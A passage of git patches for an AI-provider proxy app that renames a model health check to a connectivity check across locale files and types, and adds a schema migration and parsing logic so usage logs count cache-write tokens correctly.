adjust the plan in the Qianfan console.", - "httpHint": { - "400": "Provider rejected request format. Health check probe may differ from actual usage.", - "401": "API key may be invalid, or provider uses OAuth auth. Check failure doesn't mean it's unusable.", - "402": "Account quota or billing issue.", - "403": "Provider blocked this request. Some verify client identity; may work fine in actual use.", - "404": "Endpoint not found. Check base URL and API path.", - "429": "Too many requests. Try again later.", - "5xx": "Provider internal error. Likely temporary." - } + "degradedThreshold": "Slow-response threshold (ms)", + "error": "{{providerName}} check error: {{error}}" }, "proxyConfig": { "proxyEnabled": "Routing Master Switch", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 372a1bcc2..0d606b7c6 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -299,11 +299,6 @@ "message": "使用量クエリにはカスタムスクリプトまたは API パラメータが必要です。プロバイダーから必要な情報を取得していることをご確認ください。\n\n設定方法が不明な場合は、プロバイダーのドキュメントを先にご確認ください。", "confirm": "理解しました、設定する" }, - "streamCheck": { - "title": "モデルヘルスチェック", - "message": "ヘルスチェックは API リクエストを直接送信してプロバイダーの接続性をテストします。以下の場合、チェックが失敗する可能性があります:\n\n• 公式プロバイダー(OAuth ログイン使用、独立した API キーなし)\n• 一部の中継サービス(リクエストが Claude Code CLI からのものか検証)\n• AWS Bedrock(IAM 署名認証を使用)\n\nチェック失敗はプロバイダーが使用不能であることを意味しません。独立したリクエストでの検証ができないことを示すだけです。アプリ内の実際の動作を基準にしてください。", - "confirm": "理解しました、続行する" - }, "autoSync": { "title": "自動同期を有効にする", "message": "自動同期を有効にすると、データベースの変更ごとに WebDAV サーバーへ自動アップロードされます。\n\nネットワークトラフィックが大幅に増加する可能性があります。ネットワーク環境と WebDAV サービスが頻繁なデータ転送に対応できることをご確認ください。", @@ -344,9 +339,9 @@ "running": "実行中", "stopped": "停止中" }, - "modelTest": { - "title": "モデルテスト設定", - "description": "モデルテストで使用するデフォルトモデルとプロンプトを設定" + "connectivityCheck": { + "title": "接続チェック設定", + "description": "プロバイダー接続チェックのタイムアウト、リトライ、低速判定しきい値を設定" }, "failover": { "title": "自動フェイルオーバー", @@ -1240,15 +1235,6 @@ "empty": "エンドポイントがありません" }, "providerAdvanced": { - "testConfig": "モデルテスト設定", - "useCustomConfig": "個別設定を使用", - "testConfigDesc": "このプロバイダーに個別のモデルテストパラメータを設定します。無効の場合はグローバル設定を使用します。", - "testModel": "テストモデル", - "testModelPlaceholder": "空白の場合はグローバル設定を使用", - "timeoutSecs": "タイムアウト(秒)", - "testPrompt": "テストプロンプト", - "degradedThreshold": "低下閾値(ミリ秒)", - "maxRetries": "最大リトライ回数", "pricingConfig": "課金設定", "useCustomPricing": "個別設定を使用", "pricingConfigDesc": "このプロバイダーに個別の課金パラメータを設定します。無効の場合はグローバル設定を使用します。", @@ -2450,9 +2436,6 @@ "agents": { "title": "エージェント" }, - "modelTest": { - "testProvider": "モデルテスト" - }, "health": { "operational": "正常", "degraded": "低下", @@ -2660,35 +2643,13 @@ "unreachable": "{{providerName}} に接続できません: {{message}}", "unreachableHint": "接続を確立できませんでした(DNS / 接続 / TLS / タイムアウト)。base_url とネットワークを確認してください。", "connectivityNote": "接続チェックはプロバイダーのアドレスに到達できるかを確認するだけで、実際のモデルリクエストは送信しません。何らかの応答があれば「到達可能」とみなされますが、認証やモデル設定が正しいことを保証するものではありません。", - "configSaved": "ヘルスチェック設定を保存しました", + "configSaved": "接続チェック設定を保存しました", "configSaveFailed": "保存に失敗しました", - "testModels": "テストモデル", - "claudeModel": "Claude モデル", - "codexModel": "Codex モデル", - "geminiModel": "Gemini モデル", "checkParams": "チェックパラメーター", "timeout": "タイムアウト(秒)", "maxRetries": "最大リトライ回数", - "degradedThreshold": "劣化しきい値(ミリ秒)", - "testPrompt": "テストプロンプト", - "operational": "{{providerName}} は正常に動作しています ({{responseTimeMs}}ms)", - "degraded": "{{providerName}} の応答が遅いです ({{responseTimeMs}}ms)", - "failed": "{{providerName}} のチェックに失敗しました: {{message}}", - "rejected": "{{providerName}} のチェックが拒否されました: {{message}}", - "error": "{{providerName}} のチェックでエラーが発生しました: {{error}}", - "modelNotFound": "{{providerName}} のテストモデル {{model}} は存在しないか廃止されています", - "modelNotFoundHint": "このモデルはプロバイダーにより廃止された可能性があります。「モデルテスト設定」でデフォルトのテストモデルを更新してください。", - "quotaExceeded": "{{providerName}} の Coding Plan 利用枠を超過しました", - "quotaExceededHint": "Baidu Qianfan が Coding Plan の利用枠超過エラーを返しました。5時間・週次・月次の利用枠更新を待つか、Qianfan コンソールでプランを確認してください。", - "httpHint": { - "400": "リクエスト形式が拒否されました。ヘルスチェックの形式は実際の使用と異なる場合があります。", - "401": "APIキーが無効か、OAuthなどの認証方式を使用しています。チェック失敗は実際に使えないことを意味しません。", - "402": "アカウントの利用枠または請求の問題です。", - "403": "プロバイダーがリクエストを拒否しました。実際の使用では正常に動作する場合があります。", - "404": "エンドポイントが見つかりません。Base URLとAPIパスを確認してください。", - "429": "リクエストが多すぎます。しばらくしてからお試しください。", - "5xx": "プロバイダーの内部エラーです。一時的な問題の可能性が高いです。" - } + "degradedThreshold": "低速判定しきい値(ミリ秒)", + "error": "{{providerName}} のチェックでエラーが発生しました: {{error}}" }, "proxyConfig": { "proxyEnabled": "ルーティング総スイッチ", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 9a5159b69..cecf1f6a2 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -299,11 +299,6 @@ "message": "用量查詢需要設定專用的查詢腳本或 API 參數,請確保您已從供應商處取得相關資訊。\n\n如不確定如何設定,請先查閱供應商文件。", "confirm": "我已了解,繼續設定" }, - "streamCheck": { - "title": "模型健康檢測", - "message": "健康檢測透過直接發送 API 請求來測試供應商連線能力,以下情況可能導致檢測失敗:\n\n• 官方供應商(使用 OAuth 登入,無獨立 API Key)\n• 部分中繼服務(會驗證請求是否來自 Claude Code CLI)\n• AWS Bedrock(使用 IAM 簽章驗證)\n\n檢測失敗不代表供應商不可用,僅表示無法透過獨立請求驗證。請以應用程式內的實際情況為準。", - "confirm": "我已了解,繼續檢測" - }, "autoSync": { "title": "開啟自動同步", "message": "開啟自動同步後,每次資料庫變更都會自動上傳至 WebDAV 伺服器。\n\n這可能會產生較高的網路流量消耗,請確保您的網路環境和 WebDAV 服務支援頻繁的資料傳輸。", @@ -344,9 +339,9 @@ "running": "執行中", "stopped": "已停止" }, - "modelTest": { - "title": "模型測試設定", - "description": "設定模型測試使用的預設模型和提示詞" + "connectivityCheck": { + "title": "連通檢測設定", + "description": "設定供應商位址探測的逾時、重試與緩慢閾值" }, "failover": { "title": "自動故障轉移", @@ -1212,15 +1207,6 @@ "empty": "暫無端點" }, "providerAdvanced": { - "testConfig": "模型測試設定", - "useCustomConfig": "使用獨立設定", - "testConfigDesc": "為此供應商設定獨立的模型測試參數,不啟用時使用全域設定。", - "testModel": "測試模型", - "testModelPlaceholder": "留空使用全域設定", - "timeoutSecs": "逾時時間(秒)", - "testPrompt": "測試提示詞", - "degradedThreshold": "降級閾值(毫秒)", - "maxRetries": "最大重試次數", "pricingConfig": "計費設定", "useCustomPricing": "使用獨立設定", "pricingConfigDesc": "為此供應商設定獨立的計費參數,不啟用時使用全域預設設定。", @@ -2422,9 +2408,6 @@ "agents": { "title": "Agent" }, - "modelTest": { - "testProvider": "測試模型" - }, "health": { "operational": "正常", "degraded": "降級", @@ -2632,35 +2615,13 @@ "unreachable": "{{providerName}} 無法連通: {{message}}", "unreachableHint": "無法建立連線(DNS / 連線 / TLS / 逾時)。請檢查 base_url 與網路。", "connectivityNote": "連通檢測僅探測供應商位址是否可達,不發送真實模型請求。收到任意回應即視為「可達」——這不代表驗證或模型設定一定正確。", - "configSaved": "健康檢測設定已儲存", + "configSaved": "連通檢測設定已儲存", "configSaveFailed": "儲存失敗", - "testModels": "測試模型", - "claudeModel": "Claude 模型", - "codexModel": "Codex 模型", - "geminiModel": "Gemini 模型", "checkParams": "檢查參數", "timeout": "逾時時間(秒)", "maxRetries": "最大重試次數", - "degradedThreshold": "降級閾值(毫秒)", - "testPrompt": "檢查提示詞", - "operational": "{{providerName}} 執行正常 ({{responseTimeMs}}ms)", - "degraded": "{{providerName}} 回應較慢 ({{responseTimeMs}}ms)", - "failed": "{{providerName}} 檢查失敗:{{message}}", - "rejected": "{{providerName}} 檢查被拒:{{message}}", - "error": "{{providerName}} 檢查出錯:{{error}}", - "modelNotFound": "{{providerName}} 測試模型 {{model}} 不存在或已下架", - "modelNotFoundHint": "該模型可能已被供應商棄用。請在「模型測試設定」中更新預設測試模型。", - "quotaExceeded": "{{providerName}} Coding Plan 額度已用盡", - "quotaExceededHint": "百度千帆回傳了 Coding Plan 超額錯誤。請等待 5 小時 / 每週 / 每月額度重新整理,或在千帆控制台切換方案。", - "httpHint": { - "400": "供應商拒絕了請求格式。健康檢測的探測格式可能與實際使用不同。", - "401": "API Key 可能無效,或供應商使用 OAuth 等驗證方式。檢查失敗不代表實際不可用。", - "402": "帳號配額或計費問題。", - "403": "供應商拒絕了此請求。部分供應商會驗證用戶端身分,檢查失敗但實際使用可能正常。", - "404": "API 位址不存在,請檢查 Base URL 和 API 路徑。", - "429": "請求頻率過高,請稍後重試。", - "5xx": "供應商內部錯誤,通常是臨時問題。" - } + "degradedThreshold": "緩慢閾值(毫秒)", + "error": "{{providerName}} 檢查出錯:{{error}}" }, "proxyConfig": { "proxyEnabled": "路由總開關", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 14217da66..f2c842867 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -299,11 +299,6 @@ "message": "用量查询需要配置专用的查询脚本或 API 参数,请确保您已从供应商处获取相关信息。\n\n如不确定如何配置,请先查阅供应商文档。", "confirm": "我已了解,继续配置" }, - "streamCheck": { - "title": "模型健康检测", - "message": "健康检测通过直接发送 API 请求来测试供应商连通性,以下情况可能导致检测失败:\n\n• 官方供应商(使用 OAuth 登录,无独立 API Key)\n• 部分中转服务(会校验请求是否来自 Claude Code CLI)\n• AWS Bedrock(使用 IAM 签名认证)\n\n检测失败不代表供应商不可用,仅表示无法通过独立请求验证。请以应用内的实际情况为准。", - "confirm": "我已了解,继续检测" - }, "autoSync": { "title": "开启自动同步", "message": "开启自动同步后,每次数据库变更都会自动上传到 WebDAV 服务器。\n\n这可能会产生较高的网络流量消耗,请确保您的网络环境和 WebDAV 服务支持频繁的数据传输。", @@ -344,9 +339,9 @@ "running": "运行中", "stopped": "已停止" }, - "modelTest": { - "title": "模型测试配置", - "description": "配置模型测试使用的默认模型和提示词" + "connectivityCheck": { + "title": "连通检测配置", + "description": "配置供应商地址探测的超时、重试和较慢阈值" }, "failover": { "title": "自动故障转移", @@ -1240,15 +1235,6 @@ "empty": "暂无端点" }, "providerAdvanced": { - "testConfig": "模型测试配置", - "useCustomConfig": "使用单独配置", - "testConfigDesc": "为此供应商配置单独的模型测试参数,不启用时使用全局配置。", - "testModel": "测试模型", - "testModelPlaceholder": "留空使用全局配置", - "timeoutSecs": "超时时间(秒)", - "testPrompt": "测试提示词", - "degradedThreshold": "降级阈值(毫秒)", - "maxRetries": "最大重试次数", "pricingConfig": "计费配置", "useCustomPricing": "使用单独配置", "pricingConfigDesc": "为此供应商配置单独的计费参数,不启用时使用全局默认配置。", @@ -2450,9 +2436,6 @@ "agents": { "title": "智能体" }, - "modelTest": { - "testProvider": "测试模型" - }, "health": { "operational": "正常", "degraded": "降级", @@ -2660,35 +2643,13 @@ "unreachable": "{{providerName}} 无法连通: {{message}}", "unreachableHint": "无法建立连接(DNS / 连接 / TLS / 超时)。请检查 base_url 与网络。", "connectivityNote": "连通检测仅探测供应商地址是否可达,不发送真实模型请求。收到任意响应即视为“可达”——这不代表鉴权或模型配置一定正确。", - "configSaved": "健康检查配置已保存", + "configSaved": "连通检测配置已保存", "configSaveFailed": "保存失败", - "testModels": "测试模型", - "claudeModel": "Claude 模型", - "codexModel": "Codex 模型", - "geminiModel": "Gemini 模型", "checkParams": "检查参数", "timeout": "超时时间(秒)", "maxRetries": "最大重试次数", - "degradedThreshold": "降级阈值(毫秒)", - "testPrompt": "检查提示词", - "operational": "{{providerName}} 运行正常 ({{responseTimeMs}}ms)", - "degraded": "{{providerName}} 响应较慢 ({{responseTimeMs}}ms)", - "failed": "{{providerName}} 检查失败: {{message}}", - "rejected": "{{providerName}} 检查被拒: {{message}}", - "error": "{{providerName}} 检查出错: {{error}}", - "modelNotFound": "{{providerName}} 测试模型 {{model}} 不存在或已下架", - "modelNotFoundHint": "该模型可能已被供应商弃用。请在\"模型测试配置\"中更新默认测试模型。", - "quotaExceeded": "{{providerName}} Coding Plan 额度已用尽", - "quotaExceededHint": "百度千帆返回了 Coding Plan 超额错误。请等待 5 小时/每周/每月额度刷新,或在千帆控制台切换套餐。", - "httpHint": { - "400": "供应商拒绝了请求格式。健康检查的探测格式可能与实际使用不同。", - "401": "API Key 可能无效,或供应商使用 OAuth 等认证方式。检查失败不代表实际不可用。", - "402": "账户配额或计费问题。", - "403": "供应商拒绝了此请求。部分供应商会校验客户端身份,检查失败但实际使用可能正常。", - "404": "接口地址不存在,请检查 Base URL 和 API 路径。", - "429": "请求频率过高,请稍后重试。", - "5xx": "供应商内部错误,通常是临时问题。" - } + "degradedThreshold": "较慢阈值(毫秒)", + "error": "{{providerName}} 检查出错: {{error}}" }, "proxyConfig": { "proxyEnabled": "路由总开关", diff --git a/src/lib/api/model-test.ts b/src/lib/api/connectivity-check.ts similarity index 94% rename from src/lib/api/model-test.ts rename to src/lib/api/connectivity-check.ts index 1de99e330..43e56f874 100644 --- a/src/lib/api/model-test.ts +++ b/src/lib/api/connectivity-check.ts @@ -38,7 +38,7 @@ export async function streamCheckProvider( } /** - * 批量流式健康检查 + * 批量连通性检查 */ export async function streamCheckAllProviders( appType: AppId, @@ -48,14 +48,14 @@ export async function streamCheckAllProviders( } /** - * 获取流式检查配置 + * 获取连通性检查配置 */ export async function getStreamCheckConfig(): Promise { return invoke("get_stream_check_config"); } /** - * 保存流式检查配置 + * 保存连通性检查配置 */ export async function saveStreamCheckConfig( config: StreamCheckConfig, diff --git a/src/types.ts b/src/types.ts index 7a025b818..49c72fbad 100644 --- a/src/types.ts +++ b/src/types.ts @@ -111,18 +111,6 @@ export interface UsageResult { error?: string; } -// 供应商单独的连通检测配置(覆盖全局配置) -export interface ProviderTestConfig { - // 是否启用单独配置(false 时使用全局配置) - enabled: boolean; - // 超时时间(秒) - timeoutSecs?: number; - // 降级阈值(毫秒) - degradedThresholdMs?: number; - // 最大重试次数 - maxRetries?: number; -} - export type AuthBindingSource = "provider_config" | "managed_account"; export interface AuthBinding { @@ -196,8 +184,6 @@ export interface ProviderMeta { isPartner?: boolean; // 合作伙伴促销 key(用于后端识别 PackyCode 等) partnerPromotionKey?: string; - // 供应商单独的模型测试配置 - testConfig?: ProviderTestConfig; // 供应商成本倍率 costMultiplier?: string; // 供应商计费模式来源 @@ -371,8 +357,6 @@ export interface Settings { // User has confirmed the usage query first-run notice usageConfirmed?: boolean; usageDashboardRefreshIntervalMs?: number; - // User has confirmed the stream check first-run notice - streamCheckConfirmed?: boolean; // Whether to show the failover toggle independently on the main page enableFailoverToggle?: boolean; // Whether to show the project profile switcher on the main page header From f991726ff0cfc30ec32293fe00a6999314a06f9c Mon Sep 17 00:00:00 2001 From: Jason Date: Sat, 11 Jul 2026 12:27:39 +0800 Subject: [PATCH 52/73] fix(usage): account for cache-write tokens across schema versions Parse cache_write_tokens from OpenAI usage details and preserve cache creation data across Chat, Responses, and Anthropic conversion paths. Add explicit input-token semantics to request logs and rollups so legacy rows subtract cache reads only while new total-inclusive rows subtract both cache reads and writes. Migrate v12 databases, normalize rollups to fresh input, and cover historical backfill behavior with regression tests. --- src-tauri/src/database/dao/usage_rollup.rs | 46 ++++++- src-tauri/src/database/mod.rs | 2 +- src-tauri/src/database/schema.rs | 74 ++++++++++++ src-tauri/src/proxy/providers/streaming.rs | 20 +++- src-tauri/src/proxy/providers/transform.rs | 8 +- .../providers/transform_codex_anthropic.rs | 47 ++++---- .../proxy/providers/transform_codex_chat.rs | 30 ++++- .../proxy/providers/transform_responses.rs | 33 ++++- src-tauri/src/proxy/usage/calculator.rs | 13 +- src-tauri/src/proxy/usage/logger.rs | 10 +- src-tauri/src/proxy/usage/parser.rs | 91 ++++++++------ src-tauri/src/services/sql_helpers.rs | 58 ++++++++- src-tauri/src/services/usage_stats.rs | 113 +++++++++++++++--- 13 files changed, 443 insertions(+), 102 deletions(-) diff --git a/src-tauri/src/database/dao/usage_rollup.rs b/src-tauri/src/database/dao/usage_rollup.rs index eaa472798..1ca576c5d 100644 --- a/src-tauri/src/database/dao/usage_rollup.rs +++ b/src-tauri/src/database/dao/usage_rollup.rs @@ -4,6 +4,7 @@ use crate::database::{lock_conn, Database}; use crate::error::AppError; +use crate::services::sql_helpers::{fresh_input_sql, INPUT_TOKEN_SEMANTICS_FRESH}; use crate::services::usage_stats::effective_usage_log_filter; use chrono::{Duration, Local, TimeZone}; @@ -115,6 +116,8 @@ impl Database { fn do_rollup_and_prune(conn: &rusqlite::Connection, cutoff: i64) -> Result { // Aggregate old logs, merging with any pre-existing rollup rows via LEFT JOIN. let effective_filter = effective_usage_log_filter("l"); + let fresh_detail_input = fresh_input_sql("l"); + let fresh_old_input = fresh_input_sql("old"); // request_model 维度保留路由接管的「客户端别名 → 真实模型」映射, // pricing_model 维度保留写入时的计价基准(request 计价模式下与 model 分叉); // 明细行的这两列可能为 NULL(历史/手工数据),归一为 ''。 @@ -124,15 +127,16 @@ impl Database { request_count, success_count, input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, - total_cost_usd, avg_latency_ms) + input_token_semantics, total_cost_usd, avg_latency_ms) SELECT d, a, p, m, rm, pm, COALESCE(old.request_count, 0) + new_req, COALESCE(old.success_count, 0) + new_succ, - COALESCE(old.input_tokens, 0) + new_in, + COALESCE({fresh_old_input}, 0) + new_in, COALESCE(old.output_tokens, 0) + new_out, COALESCE(old.cache_read_tokens, 0) + new_cr, COALESCE(old.cache_creation_tokens, 0) + new_cc, + {INPUT_TOKEN_SEMANTICS_FRESH}, CAST(COALESCE(CAST(old.total_cost_usd AS REAL), 0) + new_cost AS TEXT), CASE WHEN COALESCE(old.request_count, 0) + new_req > 0 THEN (COALESCE(old.avg_latency_ms, 0) * COALESCE(old.request_count, 0) @@ -147,7 +151,7 @@ impl Database { COALESCE(l.pricing_model, '') as pm, COUNT(*) as new_req, SUM(CASE WHEN l.status_code >= 200 AND l.status_code < 300 THEN 1 ELSE 0 END) as new_succ, - COALESCE(SUM(l.input_tokens), 0) as new_in, + COALESCE(SUM({fresh_detail_input}), 0) as new_in, COALESCE(SUM(l.output_tokens), 0) as new_out, COALESCE(SUM(l.cache_read_tokens), 0) as new_cr, COALESCE(SUM(l.cache_creation_tokens), 0) as new_cc, @@ -327,7 +331,7 @@ mod tests { let (provider_id, request_count, input_tokens, output_tokens, cache_read_tokens) = &rows[0]; assert_eq!(provider_id, "openai"); assert_eq!(*request_count, 1); - assert_eq!(*input_tokens, 100); + assert_eq!(*input_tokens, 90, "rollup stores normalized fresh input"); assert_eq!(*output_tokens, 20); assert_eq!(*cache_read_tokens, 10); @@ -340,6 +344,40 @@ mod tests { Ok(()) } + #[test] + fn test_rollup_normalizes_total_cache_semantics_to_fresh() -> Result<(), AppError> { + let db = Database::memory()?; + let old_ts = chrono::Utc::now().timestamp() - 40 * 86400; + + { + let conn = crate::database::lock_conn!(db.conn); + conn.execute( + "INSERT INTO proxy_request_logs ( + request_id, provider_id, app_type, model, + input_tokens, output_tokens, cache_read_tokens, cache_creation_tokens, + input_token_semantics, total_cost_usd, + latency_ms, status_code, created_at + ) VALUES ('total-semantics-rollup', 'p1', 'codex', 'gpt-5.5', + 100, 5, 10, 20, 1, '0.10', 100, 200, ?1)", + [old_ts], + )?; + } + + assert_eq!(db.rollup_and_prune(30)?, 1); + + let conn = crate::database::lock_conn!(db.conn); + let row: (i64, i64, i64, i64) = conn.query_row( + "SELECT input_tokens, cache_read_tokens, cache_creation_tokens, + input_token_semantics + FROM usage_daily_rollups WHERE model = 'gpt-5.5'", + [], + |row| Ok((row.get(0)?, row.get(1)?, row.get(2)?, row.get(3)?)), + )?; + assert_eq!(row, (70, 10, 20, 2)); + + Ok(()) + } + #[test] fn test_rollup_preserves_request_model_dimension() -> Result<(), AppError> { let db = Database::memory()?; diff --git a/src-tauri/src/database/mod.rs b/src-tauri/src/database/mod.rs index e2c98fa50..55bb2ea61 100644 --- a/src-tauri/src/database/mod.rs +++ b/src-tauri/src/database/mod.rs @@ -50,7 +50,7 @@ use std::sync::Mutex; /// 当前 Schema 版本号 /// 每次修改表结构时递增,并在 schema.rs 中添加相应的迁移逻辑 -pub(crate) const SCHEMA_VERSION: i32 = 12; +pub(crate) const SCHEMA_VERSION: i32 = 13; /// 安全地序列化 JSON,避免 unwrap panic pub(crate) fn to_json_string(value: &T) -> Result { diff --git a/src-tauri/src/database/schema.rs b/src-tauri/src/database/schema.rs index 9fd8c1ae2..d477991e4 100644 --- a/src-tauri/src/database/schema.rs +++ b/src-tauri/src/database/schema.rs @@ -189,6 +189,7 @@ impl Database { pricing_model TEXT, input_tokens INTEGER NOT NULL DEFAULT 0, output_tokens INTEGER NOT NULL DEFAULT 0, cache_read_tokens INTEGER NOT NULL DEFAULT 0, cache_creation_tokens INTEGER NOT NULL DEFAULT 0, + input_token_semantics INTEGER NOT NULL DEFAULT 0, input_cost_usd TEXT NOT NULL DEFAULT '0', output_cost_usd TEXT NOT NULL DEFAULT '0', cache_read_cost_usd TEXT NOT NULL DEFAULT '0', cache_creation_cost_usd TEXT NOT NULL DEFAULT '0', total_cost_usd TEXT NOT NULL DEFAULT '0', latency_ms INTEGER NOT NULL, first_token_ms INTEGER, @@ -275,6 +276,7 @@ impl Database { output_tokens INTEGER NOT NULL DEFAULT 0, cache_read_tokens INTEGER NOT NULL DEFAULT 0, cache_creation_tokens INTEGER NOT NULL DEFAULT 0, + input_token_semantics INTEGER NOT NULL DEFAULT 0, total_cost_usd TEXT NOT NULL DEFAULT '0', avg_latency_ms INTEGER NOT NULL DEFAULT 0, PRIMARY KEY (date, app_type, provider_id, model, request_model, pricing_model) @@ -478,6 +480,11 @@ impl Database { Self::migrate_v11_to_v12(conn)?; Self::set_user_version(conn, 12)?; } + 12 => { + log::info!("迁移数据库从 v12 到 v13(记录输入 token 缓存语义)"); + Self::migrate_v12_to_v13(conn)?; + Self::set_user_version(conn, 13)?; + } _ => { return Err(AppError::Database(format!( "未知的数据库版本 {version},无法迁移到 {SCHEMA_VERSION}" @@ -650,6 +657,7 @@ impl Database { request_model TEXT, input_tokens INTEGER NOT NULL DEFAULT 0, output_tokens INTEGER NOT NULL DEFAULT 0, cache_read_tokens INTEGER NOT NULL DEFAULT 0, cache_creation_tokens INTEGER NOT NULL DEFAULT 0, + input_token_semantics INTEGER NOT NULL DEFAULT 0, input_cost_usd TEXT NOT NULL DEFAULT '0', output_cost_usd TEXT NOT NULL DEFAULT '0', cache_read_cost_usd TEXT NOT NULL DEFAULT '0', cache_creation_cost_usd TEXT NOT NULL DEFAULT '0', total_cost_usd TEXT NOT NULL DEFAULT '0', latency_ms INTEGER NOT NULL, first_token_ms INTEGER, @@ -1322,6 +1330,30 @@ impl Database { Ok(()) } + /// v12 -> v13:记录 input_tokens 是否包含缓存写入。 + /// + /// 默认 0 表示旧版/未知语义;旧 Codex 行只包含 cache read,不包含 + /// cache creation。新代理行会显式写入 1(total-inclusive) 或 2(fresh)。 + fn migrate_v12_to_v13(conn: &Connection) -> Result<(), AppError> { + if Self::table_exists(conn, "proxy_request_logs")? { + Self::add_column_if_missing( + conn, + "proxy_request_logs", + "input_token_semantics", + "INTEGER NOT NULL DEFAULT 0", + )?; + } + if Self::table_exists(conn, "usage_daily_rollups")? { + Self::add_column_if_missing( + conn, + "usage_daily_rollups", + "input_token_semantics", + "INTEGER NOT NULL DEFAULT 0", + )?; + } + Ok(()) + } + /// 插入默认模型定价数据 /// 格式: (model_id, display_name, input, output, cache_read, cache_creation) /// 注意: model_id 使用短横线格式(如 claude-haiku-4-5),与 API 返回的模型名称标准化后一致 @@ -2661,3 +2693,45 @@ impl Database { Ok(true) } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn migrate_v12_to_v13_adds_input_token_semantics_columns() -> Result<(), AppError> { + let conn = Connection::open_in_memory()?; + conn.execute( + "CREATE TABLE proxy_request_logs (request_id TEXT PRIMARY KEY)", + [], + )?; + conn.execute( + "CREATE TABLE usage_daily_rollups (date TEXT PRIMARY KEY)", + [], + )?; + Database::set_user_version(&conn, 12)?; + + Database::apply_schema_migrations_on_conn(&conn)?; + + assert_eq!(Database::get_user_version(&conn)?, 13); + assert!(Database::has_column( + &conn, + "proxy_request_logs", + "input_token_semantics" + )?); + assert!(Database::has_column( + &conn, + "usage_daily_rollups", + "input_token_semantics" + )?); + let log_default: i64 = conn.query_row( + "SELECT dflt_value = '0' FROM pragma_table_info('proxy_request_logs') + WHERE name = 'input_token_semantics'", + [], + |row| row.get(0), + )?; + assert_eq!(log_default, 1); + + Ok(()) + } +} diff --git a/src-tauri/src/proxy/providers/streaming.rs b/src-tauri/src/proxy/providers/streaming.rs index 7f0afb245..ceab7aec5 100644 --- a/src-tauri/src/proxy/providers/streaming.rs +++ b/src-tauri/src/proxy/providers/streaming.rs @@ -80,6 +80,8 @@ struct Usage { struct PromptTokensDetails { #[serde(default)] cached_tokens: u32, + #[serde(default)] + cache_write_tokens: u32, } #[derive(Debug, Clone)] @@ -103,7 +105,7 @@ fn build_anthropic_usage_json(usage: &Usage) -> Value { // OpenAI prompt_tokens 含缓存,Anthropic input_tokens 不含,需减去 cache_read 与 cache_creation // (三桶互斥,恒等 input + cache_read + cache_creation == prompt_tokens)。 let cached = extract_cache_read_tokens(usage).unwrap_or(0); - let cache_creation = usage.cache_creation_input_tokens.unwrap_or(0); + let cache_creation = extract_cache_write_tokens(usage).unwrap_or(0); let input_tokens = usage .prompt_tokens .saturating_sub(cached) @@ -233,7 +235,7 @@ pub fn create_anthropic_sse_stream( if let Some(u) = &chunk.usage { let cached = extract_cache_read_tokens(u).unwrap_or(0); let cache_creation = - u.cache_creation_input_tokens.unwrap_or(0); + extract_cache_write_tokens(u).unwrap_or(0); let input = u .prompt_tokens .saturating_sub(cached) @@ -683,6 +685,18 @@ fn extract_cache_read_tokens(usage: &Usage) -> Option { .filter(|&v| v > 0) } +/// Extract cache-write tokens from direct compatibility fields or OpenAI details. +fn extract_cache_write_tokens(usage: &Usage) -> Option { + if let Some(value) = usage.cache_creation_input_tokens { + return Some(value); + } + usage + .prompt_tokens_details + .as_ref() + .map(|details| details.cache_write_tokens) + .filter(|value| *value > 0) +} + /// 映射停止原因 fn map_stop_reason(finish_reason: Option<&str>) -> Option { finish_reason.map(|r| { @@ -1061,7 +1075,7 @@ mod tests { let input = concat!( "data: {\"id\":\"chatcmpl_cc\",\"model\":\"glm-5.1\",\"choices\":[{\"delta\":{\"tool_calls\":[{\"index\":0,\"id\":\"tool-1\",\"type\":\"function\",\"function\":{\"name\":\"Bash\",\"arguments\":\"{\\\"command\\\":\\\"pwd\\\"}\"}}]}}]}\n\n", "data: {\"id\":\"chatcmpl_cc\",\"model\":\"glm-5.1\",\"choices\":[{\"delta\":{},\"finish_reason\":\"tool_calls\"}]}\n\n", - "data: {\"choices\":[],\"usage\":{\"prompt_tokens\":1000,\"completion_tokens\":50,\"prompt_tokens_details\":{\"cached_tokens\":600},\"cache_creation_input_tokens\":300}}\n\n", + "data: {\"choices\":[],\"usage\":{\"prompt_tokens\":1000,\"completion_tokens\":50,\"prompt_tokens_details\":{\"cached_tokens\":600,\"cache_write_tokens\":300}}}\n\n", "data: [DONE]\n\n" ); diff --git a/src-tauri/src/proxy/providers/transform.rs b/src-tauri/src/proxy/providers/transform.rs index 6947e2493..a1c1d023d 100644 --- a/src-tauri/src/proxy/providers/transform.rs +++ b/src-tauri/src/proxy/providers/transform.rs @@ -665,7 +665,7 @@ pub fn openai_to_anthropic(body: Value) -> Result { // 不再扣减),若不减则缓存会被计入 input 与各 cache 桶两次。三桶互斥,恒等: // input + cache_read + cache_creation == prompt_tokens(inclusive 上游)。 // 与流式 build_anthropic_usage_json (#2774) 及 transform_gemini 的 saturating_sub 对称。 - // 最终 cache_read:直传字段优先于 nested;cache_creation 仅来自直传字段(OpenAI 无此概念)。 + // 最终 cache_read/cache_creation:直传字段优先于 OpenAI nested details。 let cached = usage .get("cache_read_input_tokens") .and_then(|v| v.as_u64()) @@ -678,6 +678,12 @@ pub fn openai_to_anthropic(body: Value) -> Result { let cache_creation = usage .get("cache_creation_input_tokens") .and_then(|v| v.as_u64()) + .or_else(|| { + usage + .pointer("/prompt_tokens_details/cache_write_tokens") + .or_else(|| usage.pointer("/input_tokens_details/cache_write_tokens")) + .and_then(|v| v.as_u64()) + }) .unwrap_or(0); let input_tokens = usage .get("prompt_tokens") diff --git a/src-tauri/src/proxy/providers/transform_codex_anthropic.rs b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs index 4fdac6b79..0afc6c711 100644 --- a/src-tauri/src/proxy/providers/transform_codex_anthropic.rs +++ b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs @@ -125,19 +125,14 @@ pub(crate) fn map_anthropic_stop_reason_to_status( /// Builds Responses usage from Anthropic usage. /// -/// Anthropic's `input_tokens` is the "cache-excluded" fresh input; OpenAI/Responses' -/// `input_tokens` includes cache hits. To keep downstream metering correct, this -/// 